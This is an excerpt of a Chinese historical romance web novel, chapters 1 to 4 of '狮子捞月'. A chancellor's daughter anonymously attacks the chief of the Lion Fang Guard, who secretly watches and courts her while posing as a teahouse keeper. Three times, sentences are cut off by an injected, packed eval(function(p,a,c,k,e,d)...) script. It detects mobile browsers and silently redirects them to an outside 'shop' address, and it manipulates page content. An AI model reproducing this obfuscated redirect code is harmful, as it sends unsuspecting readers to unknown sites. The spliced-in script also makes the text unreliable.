《狮子捞月》 1. 第 1 章 春夏交替的时节,京城的风流淌着潮热的躁意,马车踏着斑驳跳动的光影,停在了隐秘的巷口。 宋展月撩开车帘一角,警觉地向外望了望,吩咐车夫在此等候,接着便下了车,领着丫鬟春苗,朝着不远处那栋素雅的茶馆走去。 待走近,她侧首对春苗低声道:“你在门口等我。” “小姐,您一个人……”春苗满脸担忧。 “两个人太扎眼了。”说罢,宋展月将手中垂着的白纱幕篱戴好,迈步走入了那扇敞开着的、飘散出墨香与茶韵的格栅门。 近些年,狮牙卫愈发权势熏天,爪牙遍及京城各处,其督主闵敖之名,更是令朝野上下闻之屏息。 一个月前,当代丹青圣手、鸿胪寺卿程江被他们当街锁拿,罪名是“影射时政,暗讽朝纲”,旋即押入潮狱。 程江是宋展月的亲舅父与启蒙恩师,为人清正刚直,于她有抚育教导之恩。 此案毫无征兆,引得朝野侧目。 宋展月悲愤交加,但父亲身为左相需避嫌,无法公然插手,胸中恶气郁结难舒,终是执笔为刀。 于是,她将目光投向了京城久负盛名的茶馆——红炉点雪。 此地不仅以藏书与茶点闻名,更特立独行,设有一面“匿名投稿墙”。 她将陆续写就的《论佞臣十罪书》投入了这里的密匣。 此地规矩森严:只认文章不认人,三日后择选誊抄传阅,作者身份绝不外泄。 如今,距她投出末篇已过去三日,此次前来,便是要亲耳听听这文章在士林中的真实反响。 京城的文人学子们,面对直指当朝权奸的文章,会是激赏、附和,还是恐惧、避谈? 刚进门,机灵的小二便热情地迎了上来,将她引向靠窗的清净角落。 宋展月微微颔首,并不多言,在那张临窗的四方小桌旁坐下,点了一壶清茶。 她假意垂首品茗,余光却细细扫过厅堂各处。 只见左前方那桌,正围着三四个书生打扮的年轻人,其中一人手持书卷,正低声诵读,神情激愤。 她心尖微动,借着整理幕篱,不经意地将身下的圆凳向那边挪近寸许,屏息凝神,终于听清了他们压低的议论,正是在争辩她文中列举的“第三罪”! 忽然—— 一阵粗暴的踹门声响起! 门扉洞开,一队黑衣佩刀的卫兵鱼贯而入,腰间令牌上狰狞的狮首徽记灼人眼球。 为首之人按刀而立,厉声道: “狮牙卫奉令巡查!有人报,此地私传诽谤朝政、构陷大臣的逆文。今日,所有涉事文稿与人等,一律带回狮牙卫讯问!” 此话一出,方才还慷慨激昂的书生们,顿时面色惨白,噤若寒蝉。有人手中的茶盏失手跌落,在死寂中摔得粉碎。 宋展月也下意识攥紧了袖中的手,借着幕篱的遮挡,将头垂得更低,心跳如擂鼓,紧张到屏住呼吸,却又忍不住抬起头,从垂纱的缝隙向外窥视。 只见这些面色冷硬的卫兵开始粗暴地翻检桌案上的书册,甚至将书生们随身的书袋也扯开倾倒,纸页散落一地,任何带有字迹的纸片都不放过。 她一阵眩晕。 怎么会这样,怎么会这般不巧! 她这次出门,是瞒着父亲,谎称去西郊采风写生。 万一落在狮牙卫手里,被认出是左相之女且出现在传阅逆文的现场……那后果她不敢想。 正当她心如乱麻,打算借着人群骚动悄悄起身,从侧门偷偷溜走时,呵斥声响起: “站住!那个戴幕篱的!” 尚未来得及反应,宋展月只觉头顶一凉,劲风扫过,头顶幕篱竟被卫兵用刀鞘顺势挑飞。 三千青丝如瀑泻下,瞬间暴露在众目睽睽之中,露出清艳绝伦的小脸。 “啊!”她惊呼一声,下意识伸手去挡,却已来不及。 那张精致得近乎不真实的容颜,令在场所有人为之一窒,连粗暴搜查的卫兵动作都顿了一瞬。 二楼的竹帘后,一双深不见底的眸子骤然凝住,紧紧锁定了楼下那张惊慌失措的绝色面容。 原本漫不经心把玩着茶盏的手腕也缓缓搁下桌面,闵敖的眼底掠过惊艳的幽光。 旁边的范凌见状,压低声音说道:“督主,这位小姐瞧着有些眼熟。属下曾远远见过,似乎是左相府上的小千金。” “近日传遍京城、骂名直指督主您的《论佞臣十罪书》,笔迹与行文风格,经比对……极有可能便是出自她之手。” “哦?”闵敖玩味一笑,目光未曾从宋展月身上移开半分。 范凌迟疑了一下:“督主,是否要……” 话未说完,再一转头,身旁的督主已拂袖下楼。 楼下。 宋展月狼狈地以袖掩面,急得眼圈发红,正被两名卫兵一左一右拦住去路。 狮牙卫那头目看着她,厉声道:“你是何人?为何在此鬼鬼祟祟?有何意图?不说话?来人,将她带走讯问!” “慢着。” 一道冷峻沉稳,却带着无形威压的声音,不大,却清晰地震住了全场喧哗。 宋展月泪眼朦胧地转头看去,只见身着墨蓝色暗纹锦袍、身形挺拔如松的男人,自楼梯缓步而下。 他气质冷硬,面容英俊却宛如覆着一层寒霜,双眸如星,深邃得像是能将人吸进去。 他姿态从容地挡在了她与卫兵之间。 “红炉点雪的规矩,只论文章,不问出处。” “这文集既在我馆中刊印流传,便是本店之物。几位要查,可依律向上峰请令,再来封存。但在此处无凭无据便要拿我店中客人,于理不合,于法无据。” 头目瞪了瞪眼,嘴巴张了张,似乎想说什么,但见旁边的范凌几不可察地朝他摇了摇头,他顿时气势一泄,悻悻然收刀入鞘。 随即抱拳,语气硬邦邦地道:“……我等今日便给红炉点雪一个面子。撤!” 见狮牙卫竟真的退去了,满堂宾客劫后余生,纷纷长舒一口气,低声交头接耳,看向那男子的目光充满了敬畏与好奇。 宋展月抬眸,映入眼帘的是男人伟岸的后背,与他仿佛能隔绝一切风雨的沉稳气场。 心脏仍在狂跳,但奇异地安定了些许,心中翻起巨浪。 来者何人?竟能喝退凶名在外的狮牙卫? 思忖间,那男人俯身,用修长的手指捡起掉落在地的幕篱,轻轻拂去上面的灰尘,然后转过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201868|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,递到她面前。 “让姑娘受惊了。” 她定了定神,伸手接过他手中之物,摇了摇头,声音还带着一丝劫后余生的微颤:“多谢先生解围。” 闵敖凝视着她,眸底波澜荡漾。继而转身走到柜台后,取出一枚触手温润、雕着卷云纹的羊脂白玉小印,放在她面前的桌上。 “这是本馆的‘阅书印’,姑娘今日受惊,权作赔礼。日后凭此物,可随时来楼上雅室,阅览不外借的孤本、珍本。” 宋展月惊异眨眼,心中涌起一阵混杂着惊喜与困惑的浪潮。 听闻红炉点雪的楼上雅室,藏有前朝几位丹青大家的真迹与失传摹本,乃画坛秘辛。 她曾多方探问而不得其门,没想到今日这番惊吓,反倒成了机缘。 她赶紧敛衽,郑重地福了一礼。 “多谢先生厚赠。不知……当如何称呼先生?” 却见对方淡然一笑,声线温和:“在下姓闵。是此间掌柜。” 他也姓闵? 宋展月对这个姓氏本能地怔了一下,心头掠过一丝怪异,很快又抛之脑后。 天底下,姓闵之人何其多,怎会这般巧?定是自己多心了。 把白玉小印收进袖中后,她敛去多余思绪,语气恢复如常,轻声道:“今日多谢闵掌柜了。” “小姐!” 春苗心急如焚的声音传来,转过身,便见她脸色煞白地从门外小跑而进。 “小姐您没事吧?奴婢在外面听见里头动静不对,吓得魂都快没了!” “无事。”宋展月摇头,想再向那位闵掌柜致意辞行。然而,柜台后已空无一人。 从茶馆离开,她心事重重,连春苗在耳边的絮叨也听不真切,满脑子都是方才狮牙卫闯进来时那股令人胆寒的凶横气焰。 她是左撇子,幼时被父亲以‘于礼不合’为由硬生生矫正回了右手,但左手书写的能力从未荒废。 这次匿名投出的《十罪书》,正是她用左手写成。 可家里,还存着少时练左手字留下的旧稿…… 不行不行,得赶紧回家把东西烧掉,省得夜长梦多。 二楼虚掩的竹帘后,闵敖负手而立。 窗外的阳光勾勒出他冷硬的侧脸线条,温和的笑意早已无影无踪,只余下深潭般的沉静。 “宋展月,”范凌缓缓道来:“左相宋文正的幺女,师承鸿胪寺卿程江,一手墨竹画得出神入化,素有‘京城第一才女’之誉。” “今日一见,果然名不虚传啊。” 从长相到气质都无可挑剔,文笔更是震撼惊人。 世人只知‘红炉点雪’是风雅之地,却不知这其实是狮牙卫的暗桩,专为网罗舆情、洞察人心。 那《佞臣书》投来的第一日,密匣未启,便已到了闵敖的案头。 之所以按兵不动至今,不过是想看看,能钓出多少同声共气之辈。 而今日,正是那文集刊行之日。原以为或能‘偶遇’一二狂生,却未料到,来人竟是左相女儿,作者本人。 倒是意外收获。 闵敖的指尖在窗棂上轻轻地敲了一下,缓缓转过身。 “调一队‘影子’盯着她,事无巨细。” 2. 第 2 章 回到相府已是申时末。 宋展月脚步匆匆地往自己院子走,丝毫没注意到兄长正从回廊另一头缓步而来。 “月儿。”宋辞渊叫住她,声音温和,眼神关切:“近日怎总往外跑?” 她停下脚步,只见宋辞渊和嫂子李氏一起,正从花园那头散步归来。 顿时心里一紧,面上却挤出惯常的乖巧笑容:“哥哥,嫂嫂,我……我去西郊采风了,想画一幅春日山景。” “哎哟,怎弄得衣袖沾了好些灰土,还勾了丝?”李氏惊呼的声音令宋展月往自己身上一看。 才发现月白色的衣袖上,果然蹭了好几道污痕,袖口处还被勾破了一小缕丝线。 想必是刚才在红炉点雪被狮牙卫推搡、混乱中躲避时,不小心蹭到了桌角或墙壁。 她含糊其辞,顺势拍了拍袖子:“许是在林间写生时,不小心蹭到树干山石了。不打紧的,我回去换下便是。” “哎,等会儿。”李氏喊道,笑意盈盈地凑上来,亲热地挽住她的胳膊。 “衣裳不打紧,咱们姐妹说会儿私房话。”李氏扫了眼宋辞渊,对方微微颔首,之后便拉着宋展月往一旁的凉亭走去。 “嫂嫂……怎么了这是?” 李氏按着她坐下,屏退了左右伺候的丫鬟,这才压低声音,脸上带着一种打趣的笑意,开口道: “好妹妹,嫂嫂就不同你绕弯子了。上回在赏荷宴上,你不是见着誉王殿下了么?你觉得……他这人怎么样?” 誉王? 宋展月对这个名字有些陌生,也就上回在那觥筹交错的宫宴上,隔着人群远远望见过一次。 只记得是个言谈举止十分得体的王爷,与周围几位高谈阔论、目下无尘的宗室子弟相比,显得格外沉静谦和。 听闻他的原配王妃前年病逝了,府中只余一位侧妃、一个庶子,除此之外,便无其他更深印象了。 她老实回答:“誉王殿下气度清贵,言行守礼,是位贤王。嫂嫂怎的忽然问起这个?” “好妹妹,你是聪明人。殿下前头那位去了也两年了,正是续弦的时候。你哥哥说,殿下近来与父亲议事时,常问起你的画,赞你有林下之风。这意思你还不明白吗?” “这……”宋展月怔住了,一时语塞。 她年方二八,年初才刚行过及笄礼。席上母亲还搂着她笑说‘心肝肉儿,娘可舍不得你,在家多留两年’,怎么话音才落…… “殿下是诸位皇子中唯一特许留京参政的,圣眷正浓。且府中清净,你过去便是当家主母。” 见她神色怔忡,李氏的语气愈发柔和恳切。 “以你的才貌家世,配殿下正是珠联璧合。父亲也说,殿下是明理之人。” “像殿下这般人品地位,满京城也寻不出第二个了。父母和兄长,总归是为你着想。” “……” 后续李氏还说了些什么,宋展月记不太清了,只觉耳边嗡嗡的,心底漫上一股说不清的、闷闷的感觉。 姻缘之事,终究是父母之命,媒妁之言。 她也无力置喙,况且她现在也全无此心,满脑子都是那些要命的旧稿。 匆匆寻了个借口从凉亭脱身后,便快速返回了自己的院子,反手闩上门。 从书架翻出一只落灰的檀木小匣,又让心腹嬷嬷悄悄端来火盆,就着跳动的火光,将里面那些用左手涂鸦的诗稿、习字,一张一张,亲手捻着,全烧成了灰烬。 晚膳时。 一家人围坐在一起。 父亲宋文正乃当朝宰辅,虽年过半百,鬓角已霜,但目光依旧矍铄锐利,因为是老来得女,所以平素虽威严,待宋展月却总有几分纵容。 饭席上,宋文正与宋辞渊低声交谈朝中之事,语气凝重。 当听到“狮牙卫”三个字时,宋展月执箸的手几不可察地一顿,随即垂眸,盯着碗中白米饭,耳朵却竖得尖尖的。 “狮牙卫如今愈发跋扈,行事毫无顾忌,那闵敖也权欲熏心,几近疯狂。”宋文正沉声道,“听闻今日,其爪牙竟闯入几家书肆酒馆,当街抓人,血溅三步,真是猖狂之极!” 宋辞渊皱眉,疑惑道:“所为何事?动静如此之大。” “为一篇坊间流传、匿名散播的谤文,据传,文中将闵敖其人骂得狗血淋头。” 宋文正冷笑一声,摇了摇头,不知是讽是叹,“此等文章,固然畅快,却如同稚子持金过市,徒惹杀身之祸。闵敖此人,睚眦必报,岂能容之?” 宋展月越听越心惊,一股凉气从脚底窜上脊背,指尖冰凉,差点连筷子都掉在了桌上。 她强自镇定,指尖用力到发白,才堪堪握稳。 “多事之秋。”宋文正目光扫过桌边女眷,最终落在小女儿的脸上,语气放缓,不放心地叮嘱道:“月儿,你近来少些出门,尤其莫要去那些文人聚集、是非混淆之地。” “……是。” 当晚,宋展月夜不能寐,朦胧的烛光映在她焦虑的眉眼。 她翻来覆去地回忆着种种细节。 那些投稿,都是她在坊间随机寻些书生或代笔先生投递的,就连所用的纸张,也是她偷偷让人去不同的小铺零散买的,与相府的用纸截然不同。 而现在,唯一能证明笔迹的幼年手稿,也已全部烧掉。 应当没事的,不怕不怕,她安慰自己,此事天衣无缝,任谁也查不到相府头上。 想着,她又翻了个身,抓着被子往脖子上扯,失神地望着帐顶繁复的缠枝花纹。 脑中浮现出今日狮牙卫的种种行径。 那般的霸道野蛮,果真如传闻所说的一样。 又想起曾经听到的父兄在书房压低声音的议论,道是狮牙卫的督主闵敖,武功深不可测,手段极其狠毒,落入他手中的犯人,基本都被折磨得不成人形。 她不自觉打了个寒噤,将被子裹得更紧了些。 翌日。 宋展月依例去正院陪母亲程兰用早膳、说话解闷。 这些天,母亲因为舅父入狱一事,整日郁郁寡欢,面容清减了不少,时常对着窗外出神。 母女俩正说着话,管事嬷嬷捧着一个锦盒进来:“夫人,方才誉王府来人,道是前些日子殿下忙于政务,给相爷的寿礼备得匆忙,今儿特意寻得两样雅物补上,老爷不在,老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201869|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴便先拿过来请夫人过目。” 打开盒子,只见黑丝绒衬底上,静静躺着四锭用素白宣纸包裹、形制古雅的青金色颜料,色如雨后晴空,澄澈纯粹,正是画坛圣品、有价无市的宝石青。 程兰怔了怔,当即露出了然的笑意。 “这宝石青,于你父亲并无大用。依娘看,这心意,怕是冲着你来的。” 宋展月哑然,心头掠过一丝微妙的悸动,旋即又被更复杂的情绪淹没。 嫂嫂和母亲的接连试探与暗示,想必这桩虚无缥缈的婚事,已在父兄的默许乃至推动下,悄然提上了日程。 她垂下眼睫:“婚姻大事,任凭爹娘做主。” 接下来的几日,宋展月都待在府里没有出门,一是因为父亲的叮嘱,二是自己也需避避风头,观察情势。 只不过等了几天,外头似乎并无更大动静,她终究是忍不住,寻了个由头,打发了机灵的小厮出府,去茶馆酒肆等人多口杂之地探探风声,重点是听听那《十罪书》和狮牙卫抓人的后续。 小厮回来禀报说,狮牙卫抓走了几个当日议论最激烈、且有抄录文章的书生,审了两日,似乎没问出什么,罚没家产、打了板子便放了。 如今并无再扩大株连的迹象,连红炉点雪也恢复如常,照旧开门迎客。 听到这,宋展月一直悬着的心终于稍稍放下,窗外春光正好,她被禁锢了数日的心,也蠢蠢欲动起来。 正值春夏交际,西山新绿如洗,云海缥缈的景致最是绝妙,她一直心向往之。 得知事情无虞,便再也按捺不住,打算出门去一趟。 她让春苗备好画具,去母亲跟前禀了一声“去西山采风,日落前便回”,就带着春苗和两名稳妥的家仆,乘车出发了。 与此同时。 西山半山,一座看似清幽雅致、实则守卫森严的山景别院中,一身玄色常服,仅在袖口以暗银线绣有狴犴纹饰的闵敖正临窗而立,摩挲着玄铁扳指,听着范凌汇报京城各方动静。 一狮牙卫暗哨急匆匆自侧门而入,俯首对范凌耳语了几句。 范凌听完,抬眼看向窗前背影,随后又沉吟片刻,转身走到闵敖身后三步处,低声禀道: “督主,相府有新动静。” “誉王府以补送宋相寿礼为名,暗中夹带了一盒‘宝石青’颜料,现已送至宋姑娘手中。另外,宋姑娘的车驾已出城,正往西山方向而来。” 闵敖摩挲扳指的指尖倏然停住,周身气息为之一冷,深邃的眼底泛起兴味,唇角勾起极淡的弧度:“有趣。” 恰在此时,天际滚过一声闷雷,敞开的窗户飘洒进几丝冰凉的雨水。 范凌赶忙示意侍卫关上窗,回过头,果不其然瞧见督主蹙了下眉,右手捂住了左肩。 每逢阴雨连绵的天气,督主左肩上的旧伤都会发作。 “督主,要不要请大夫过来……” 闵敖抬手制止他接下来要说的话,问道:“她车驾行至何处了?” 范凌微怔,随即马上领悟到“她”说的是谁。 “刚过玉泉桥,算算时辰,约莫还有半个时辰便能到山腰的听松亭。” 3. 第 3 章 听松亭,地如其名。 周遭皆是苍翠挺拔的松林,十步之外,还有一道自山岩垂落的小瀑布,泠泠有声。 踏入山中,水汽逐渐弥漫,飘洒的细雨为整座西山笼上了朦胧的纱,一幅静穆而润泽的春景在眼前缓缓铺开。 这地方,还是以前舅父带她过来的,从亭子望去,外面层峦叠翠,烟云缭绕,宛如仙境。 如今再来,却已物是人非。 马车在半山腰处停下。 宋展月取出画架与青囊,将画具一一取出,摆放在亭中的美人靠上。 春苗手脚麻利,已为她搬来了作画的矮凳,支好了便携画架。 待一切准备停当,宋展月嘱咐家仆到台阶下方的平台候着,免得扰了这山间意境。 春苗应了声是,便领着车夫与仆役沿着来路下去了。 正铺开画纸,准备研墨时,无意间掠过顶上山腰。 只见林梢掩映间,竟若隐若现地矗立着一栋陌生的院落飞檐。 奇怪了,何时建的?不过一个冬天没来而已,怎就平地起了一座气派别院? 是哪位达官贵人新置的山居别业么? 院墙一角都如此气派,想必别院主人的身份,定是非富即贵,绝非寻常人物。 凝望着眼前美景,她一边取出毛笔润笔,一边思索如何勾画,刚准备落笔,却听身后传来细微的动静。 她没理会,只当是山中的小动物在林间觅食。 可过了会,压抑的闷哼声骤然响起—— 来不及惊诧,宋展月回过了头,竟是红炉点雪的闵掌柜! 他穿着青色长袍,发髻微松,正神色痛苦地倚着亭柱,一手紧捂着左肩肩胛,鬓角处的发丝被雨汗浸湿,面色苍白如纸,唇上血色尽失。 “闵掌柜?”她心下愕然,十分担忧地快步上前,却听见他颤抖的呼吸声,似乎受了极大的痛苦。 “你怎么在这里?你怎么了?是受伤了吗?” 闻言,男人吃力地抬眸看向她,潋滟的眼睛涣散失焦,随后仿佛脱力般向下一沉,高大身躯踉跄着,眼看就要软倒在地。 “小心——”宋展月低呼一声,下意识伸手去扶他的胳膊。 不知是他下坠的力道太沉,还是她心慌意乱,男人粗糙的手掌与她的手在慌乱中紧紧交握了一瞬。 “啊!” 陌生的男性体温与掌心厚茧带来的奇异触感,令宋展月又羞又惊,马上松开了手。 没了支撑,男人身形晃了晃,非但没站稳,还被她的力道反带着撞上了坚硬的亭柱. 又是一道痛苦的闷哼。 如此情状,宋展月心中万分内疚,当即也顾不得什么男女授受不亲,上前用力抱住他的手臂,让他大半重量倚靠在自己纤弱的肩上。 “你怎么了?坚持住,我去找人……” 她勉力扶他坐下,又掏出自己的紫色绣帕,替他拭去额际冷汗。 视线所及,对方眉头紧锁,额角青筋隐现,冷汗涔涔,确是痛极的模样,语气不由得放得更柔:“你这是怎么了?是哪里受伤了吗?” 闵敖抬起眼,气若游丝:“不用……旧疾犯了而已,每逢雨天便会如此。” 他缓了口气,声音低哑,“原想上山寻个清静,不料腿脚无力,惊扰姑娘了。” 这般话语,让宋展月心中那点因方才触碰而产生的慌乱尴尬,瞬间被浓浓的同情取代。 那日在红炉点雪,正是眼前之人的解围,令她得以从狮牙卫的虎视眈眈下安然脱身,她又怎会在此刻对他置之不理? “没关系,你先缓一缓,若有我能做的,你尽管开口。” 闵敖笑了笑,眉眼舒展,方才还痛苦万分的双眸变得明亮璀璨,宛如浩瀚星海一般,将眼前女子的身影尽收眼底。 “真是有缘,又和姑娘见面了,不知姑娘如何称呼?” 绣帕因方才替他擦拭汗湿的鬓角,已沾染了男人的气息与湿意,不便再贴身收起,宋展月只得将其轻轻搁在亭栏上,打算稍后处理,听到问话,她敛衽一礼,轻声答道:“家父姓宋。” “原是宋姑娘。”闵敖坐直了腰,方才的虚弱之态收敛了几分,恢复了惯有的从容气度,虽面色仍显苍白,但眉宇间已复沉稳。 “多谢姑娘援手。” 宋展月摇了摇头,神色关切:“举手之劳罢了。你如何了?好点了吗?需不需要去看大夫?我的马车就在山下,可以送你去城中医馆。” “不必麻烦了,我这旧伤,是多年前的沉疴,看过许多大夫都不见好。”闵敖轻轻按了按左胸,露出一丝无奈苦笑,“静养片刻,等这阵痛过去便好。” 他将目光转向亭中的画具。 “原来宋姑娘喜欢画画。” 他边说,边拿起那块‘宝石青’在指间转了转,对着天光细看。 “这颜料不错,色泽沉静,颗粒细腻,是上品” “不过,我那里刚好存着些‘琅嬛青’,据传是前朝宫廷秘制,若姑娘喜欢,改日可来书斋自取,方不算明珠暗投。” ‘琅嬛青’这个名字一出来,宋展月眼睛都亮了。 ‘宝石青’尚可用重金购买,可‘琅嬛青’却是有价无市,据载其色“青碧如洗,历久弥新”,市面上早已绝迹,只在古籍中偶有提及,从未出现过实物。 “真、真的吗?你有‘琅嬛青’?”她笑意盈盈,又问:“可那不是已经失传了吗?你是怎么得到的?” 闵敖站起身,高大的身躯在她面前投下一片阴影,却又巧妙地保持着不会令人不适的距离。 “在京中经营书斋这么些年,左右结识了些三教九流的朋友,偶然得来的机缘罢了。” “今日姑娘出手相助,于我有恩,这‘琅嬛青’就当是在下的一点心意,还望姑娘莫要推辞。” 话都说到这个份上,宋展月若再坚辞不受,反倒显得矫情了。 她敛衽郑重一礼:“既如此,多谢闵掌柜厚赠。” 作画讲究兴致,经此插曲,心绪已乱,画是画不成了,只得改日再来。 “山路湿滑,姑娘的家仆在何处?若不嫌弃,我送姑娘下山吧。” 来不及拒绝,闵掌柜已自然地提起她的青囊,率先走在了前面。 见状,她只得跟上。 刚想把亭栏上的绣帕收回,却发现那方丝帕不见了。 她四下略微张望,还是不见踪迹,便不作他想,只以为是被山风吹落到林间或崖下了。 两人并排而行,山中台阶湿滑苔润,周边是幽深的松林与潺潺的水声。 头一回与兄父之外的陌生男子单独同行,宋展月极不自然。 虽说身旁之人言行克制有礼,可她隐隐感觉自己被一股巨大的气场所包围,无端有些屏息,连脚步都下意识放得更轻。 终于抵达家仆休息的平台。 闵敖将画具交还给迎上来的春苗,对宋展月微微颔首:“就此别过,宋姑娘路上小心。‘琅嬛青’之事,姑娘何时得空,来书斋取便是。” “好,多谢掌柜。” 宋展月转身上车,马车行起,她撩起帘幔一角,却见那身姿清隽的男人依旧站在原地,沉静地望向她这边。 四目隔空相对,她顿时双脸燥红,慌忙放下了帘子。 马车渐行渐远,直至消失不见时闵敖才缓缓收回视线,脸上温润的笑意已被深潭般的漠然取代。 暗卫从林间阴影中无声出来,其中一人得到他默许的眼神后,几个跳跃间便朝着马车消失的方向追了过去。 他转身返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201870|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山腰别院,暗卫也如影随形,重新没入林中深处。 迈入别院书房,范凌正端着杯热茶,从窗边踱回桌前。 闵敖扫了他一眼,在金丝楠木椅坐下,“看够了?” 范凌讪笑,摸了摸鼻子:“真是什么事都瞒不过督主的眼睛。” 方才他一直趴在窗口看着两人互动。 这宋姑娘的《论佞臣十罪书》将他们督主骂得体无完肤,像是恨不得要亲手杀了他。 可督主非但不怒,反而还乐在其中,真是令人不解。 这些年,督主的势力如日中天,可谓一人之下,万人之上。 投怀送抱、自荐枕席的女子数不胜数,可督主一直洁身自好,从未见他对哪位女子假以辞色,至今后院都空无一人,不娶妻,也不纳妾。 闵敖看向他:“让底下的人把库房里那匣‘琅嬛青’找出来,送到红炉点雪去。” “是。” 这‘琅嬛青’是年前从盗墓贼手中截获的贡品级珍玩,一直搁在督主私库最深处,价值连城,如今突然取出,其意不言自明。 “那……要不要再给宋姑娘备些上好的宣纸、湖笔?作画之人,对这些总是喜欢的。” 闵敖指尖摩挲着茶杯沿口,笑着瞥了他一眼,语调听不出喜怒:“你倒是很懂。” 范凌后背微微一紧,连忙躬身:“督主明鉴,属下愚钝,只是……只是家里那位也喜好丹青,时常念叨这些,属下耳濡目染,才胡乱揣测了一句。” 哪来什么喜好丹青,家里那位对风雅之事兴致缺缺,不过是情急之下瞎扯罢了。 他稍稍抬头,却对上了闵敖似笑非笑的双眼。 “你如今也学会扯谎了。” 范凌讪笑一声,顺着杆子往下爬:“督主明察秋毫。属下这点微末道行,也是想更好地为督主分忧嘛。” 闵敖但笑不语,起身踱至轩窗前,负手望向远处。 但见山涧溪流潺潺,穿林而过,更远处云雾缭绕,层峦叠翠。 范凌也跟着上前两步,立于侧后方,适时赞叹道:“此处云岫栖霞,泉鸣松韵,确是静心养性的绝佳之地。督主好眼光。” 督主府位于皇城东侧,朱雀门外的权贵聚居之地。 因旧伤之故,圣上特恩准闵敖不必每日点卯朝参。唯有大事,或圣上特召,他那一袭玄色蟒袍的身影才会出现在文官队列的最前方。 如今这西山别院,便是他平日养伤歇息的别馆。 不知想到了什么,闵敖沉默片刻,忽然开口:“命人把听松亭那段石阶上的青苔仔细刮净,再撒上些干爽的细沙。” 范凌不解。 这西山上下,督主出行皆是车马,何曾需要徒步走那湿滑石阶? 但他面上不显,恭敬应下:“是,属下这就去安排。” 春日天气,细雨连连。 宋展月待在府中翻阅古籍,却总有些心神不宁,不时想起那些有关狮牙卫的可怖传言,心中惴惴不安。 这日午后,雨声暂歇。 她的手帕交蒋浣溪,带着明快笑意掀帘而入,瞬时驱散了室内的几分沉闷。 蒋浣溪是皇后一母同胞的嫡亲妹妹,亦是已故太后的侄孙女,身份尊贵,性子活泼烂漫,她们自小一同长大,亲密无间。 两人刚见面,就亲热地挽了手,在临窗的榻上挨着坐下,说体己话。 闲谈片刻,宋展月迟疑地看了好友一眼:“浣溪,你……可见过那狮牙卫督主,闵敖?” “远远瞧见过一次。去年宫宴,他穿着蟒袍从廊下走过,周遭的人都跟见了阎王似的,瞬间鸦雀无声。我只瞥见一个侧影,身量很高,气势极冷,其余没敢细看。” “月儿,你打听他做什么?那可不是咱们能招惹的人物。” 4. 第 4 章 “这不是最近狮牙卫行事愈发张扬,连舅父都被他们拿了去,我心中不安,所以才想打听打听。” 宋展月含糊地解释了一句,瞧了眼蒋浣溪,见她眉心皱了皱。 “说的也是,狮牙卫如今权柄滔天,且我听说,那督主当年曾为陛下挡过一箭,落下了极重的病根,每逢阴雨便疼痛难忍,陛下为此特赐恩典,准其不必每日上朝,连御药房的珍品药材也任其取用。” “有这事?” 她只知,狮牙卫的创立得追溯到景明二年,当年,是太后为巩固权柄、监察百官,一手罗织亲信人马,组建了这柄只效忠于皇权的暗刃。 如今太后已逝,圣上病重,狮牙卫更是权倾朝野,动向莫测,人心惶惶。 “是啊,不过这话你我知道就好,外间还是少议论为妙。”蒋浣溪点头,压低了声音。 沉默了好半晌。 “对了,我想麻烦你帮我个忙。”宋展月犹豫片刻,还是开口,“能不能帮我寻一样……适合送给年长男子的回礼,最好是风雅些的,不落俗套。” 她三言两语将西山偶遇闵掌柜、得其相助并获赠稀世颜料之事说了出来。 隐去了那日在红炉点雪,正是此人出面,才令她免于被狮牙卫当众刁难的惊险桥段。 他要赠她的‘琅嬛青’乃稀世之宝,虽说是感谢她施以援手,可这份回礼未免太过厚重,她实难心安理得地收下。 便想寻一件合宜的礼物回赠,全了这份人情,也求个内心安稳。 奈何近日因舅父之事及家中气氛,她不便频繁出府搜罗,自己的东西里也没有合适送男子的,只好求她这位最信赖的好友了。 听了来龙去脉,蒋浣溪当即都答应了,拍着胸脯道:“放心,这事包在我身上,定给你寻件既雅致又不失分寸的好东西来。” 两人又说了些闲话,直至日落西山,蒋浣溪方才回府。 当夜。 晚膳过后,宋展月来到母亲院中,陪因舅父一案忧虑成疾、神思恍惚的母亲说了好一会儿话,又侍奉汤药,直到母亲昏昏睡去,才悄声返回自己院子。 路过后院与花园相接的抄手游廊时,隐约听见水榭方向传来人声。 是父兄二人正对月小酌。 他们的身影被烛火映在窗上,显得心事重重。 她放轻脚步,欲从廊下阴影中无声走过,就听见父亲一声沉重的叹息,混着兄长宋辞渊陡然拔高的、带着压抑怒气的嗓音。 于是连忙闪进旁边的太湖石假山后,屏住了呼吸。 只听哥哥义愤填膺地说起舅父一案。 道是今日又有两位求情的同僚被停职查办。 